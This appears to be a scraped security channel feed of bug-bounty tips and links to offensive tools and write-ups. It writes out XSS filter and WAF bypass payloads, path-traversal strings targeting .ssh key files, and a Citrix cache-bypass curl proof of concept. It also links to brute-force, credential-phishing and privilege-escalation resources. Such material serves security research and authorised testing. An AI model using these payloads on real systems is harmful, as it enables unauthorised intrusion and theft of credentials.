Information Security

Lately, we came across a remote code execution in a Tomcat web service by utilizing Expression Language. The vulnerable POST body field expected a number. When sending ${1+2} instead, the web site included a Java error message about a failed conversion to…

117 views19:10

https://github.com/iGotRootSRC/Dorkers

GitHub

GitHub - iGotRootSRC/Dorkers: Dorks for Google, Shodan and BinaryEdge

Dorks for Google, Shodan and BinaryEdge. Contribute to iGotRootSRC/Dorkers development by creating an account on GitHub.

127 views19:21

Information Security

XSS filter bypass using stripped </p> tag to obfuscate.

P2 Stored XSS $1500 on a private bug bounty program.

XSS Payload:
<</p>iframe src=javascript:alert()//

#xss #bugbountytip #bugbountytips #bugbounty

137 views19:26

Information Security

XSS WAF Bypass Tip:

try url encoding the parameter name in your PoC URL!

?page=";confirm`1`//
Rightwards arrow
302

?pag%65=";confirm`1`//
Rightwards arrow
200 + XSS!

#bugbountytips

139 views19:26

Information Security

"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

#payloads #payload #bypass

127 views19:26

Information Security

https://medium.com/@knownsec404team/confluence-unauthorized-rce-vulnerability-cve-2019-3396-analysis-99715d2239f2

Medium

Confluence Unauthorized RCE Vulnerability (CVE-2019–3396) Analysis

Author: Badcode@Knownsec 404 Team
Chinese Version: https://paper.seebug.org/884/

115 views06:28

Information Security

https://medium.com/@adam.toscher/wireless-penetration-tips-c0ed0a6665fe?source=friends_link&sk=e2e39595dd9a03fa75b4ca90999390c9

Medium

Wireless Penetration Tips

A list for all things wireless that you may find useful while assessing a real world Wi-Fi Enterprise Network. How-to: c, KARMA, MANA…

110 views07:20

Information Security

https://github.com/iGotRootSRC/Dorkers

GitHub

GitHub - iGotRootSRC/Dorkers: Dorks for Google, Shodan and BinaryEdge

Dorks for Google, Shodan and BinaryEdge. Contribute to iGotRootSRC/Dorkers development by creating an account on GitHub.

104 views07:24

Information Security

https://github.com/taviso/avscript

GitHub

GitHub - taviso/avscript: Avast JavaScript Interactive Shell

Avast JavaScript Interactive Shell . Contribute to taviso/avscript development by creating an account on GitHub.

103 views07:25

Information Security

https://github.com/xdavidhu/awesome-google-vrp-writeups

GitHub

GitHub - xdavidhu/awesome-google-vrp-writeups: 🐛 A list of writeups from the Google VRP Bug Bounty program

🐛 A list of writeups from the Google VRP Bug Bounty program - xdavidhu/awesome-google-vrp-writeups

107 views07:40

Information Security

#bugbountytip #bugbounty Directory listing bypass payloads : Any file name or folder name ..%3B/
/%20../
/.ssh/authorized_keys
/.ssh/known_hosts
/%2e%2e/google.com
..%3B/////////////////////////////////

109 views08:31

Information Security

Some Automated Scanner

https://github.com/1N3/BruteX
https://github.com/1N3/BlackWidow
https://github.com/sa7mon/S3Scanner
https://github.com/MichaelStott/CRLF-Injection-Scanner
https://github.com/jaeles-project/jaeles
https://github.com/random-robbie/kube-scan
https://github.com/hash3liZer/Subrake
https://github.com/j3ssie/Osmedeus
https://github.com/sullo/nikto

#bugbounty,#bugbountytips

GitHub

GitHub - 1N3/BruteX: Automatically brute force all services running on a target.

Automatically brute force all services running on a target. - 1N3/BruteX

109 views08:35

Information Security

https://www.miguelxpn.com/security/2020/03/08/Server-side-XSS.html

Miguel Xavier Penha Neto

Server side XSS

XSS stands for Cross Site Scripting, it’s basically when input is not properly sanitized somewhere and a malicious actor can inject unintended javascript somewhere. That javascript will be executed by some unsuspecting user’s browser and then bad stuff can…

109 views08:39

Information Security

https://twitter.com/wugeej/status/1237197554015600640?s=20

Twitter

Jin Wook Kim

[CVE-2020-10111] Citrix Gateway 11.1 / 12.0 / 12.1 Cache Bypass [Proof Of Concept] $ curl --include --url https://$NSGATEWAYHOST/logon/incremental.php --data "value=22" https://t.co/qSZ5pgUhpe

104 views09:01

Information Security

https://nets.ec/Unsafe_string_replacement

109 views09:25

Information Security

https://medium.com/@br4nsh/a-meterpreter-and-windows-proxy-case-4af2b866f4a1

Medium

A Meterpreter and Windows proxy case

Introduction

102 views18:16

Information Security

Linux For Pentester:tmux Privilege Escalation.pdf:
https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/blob/master/8-part-100-article/62_article/new/Linux%20For%20Pentester:%20tmux%20Privilege%20Escalation.pdf
Linux for Pentester:Perl Privilege Escalation.pdf
https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/blob/master/2/Linux%20for%20Pentester:%20Perl%20Privilege%20Escalation.pdf
Linux for Pentester:ed Privilege Escalation.pdf
https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/blob/master/8-part-100-article/62_article/new/Linux%20for%20Pentester:%20ed%20Privilege%20Escalation.pdf
#Pentesting #RedTeam #hacking #PenTest

GitHub

blaCCkHatHacEEkr/PENTESTING-BIBLE

This repository was created and developed by Ammar Amer @cry__pto Only. Updates to this repository will continue to arrive until the number of links reaches 10000 links & 10000 pdf files .L...

109 views18:17

Information Security

https://blahcat.github.io/2020/03/09/unexpected-logic-bug-win32k/

blahcat.github.io

Blah Cats

Tales of a binary encoded life...

92 views18:17

Information Security

https://github.com/hlldz/pickl3

GitHub

GitHub - hlldz/pickl3: Windows active user credential phishing tool

Windows active user credential phishing tool. Contribute to hlldz/pickl3 development by creating an account on GitHub.

101 views18:26

Information Security

Return a list of endpoints from a swagger.json.
Pass them to your fuzzer(s), +profit?

curl -s hxxps://petstore.swagger.io/v2/swagger.json | jq '.paths | keys[]'

#bugbounty #bugbountytips #redteam #security #oneliner #bash

107 views18:46

About

Blog

Apps

Platform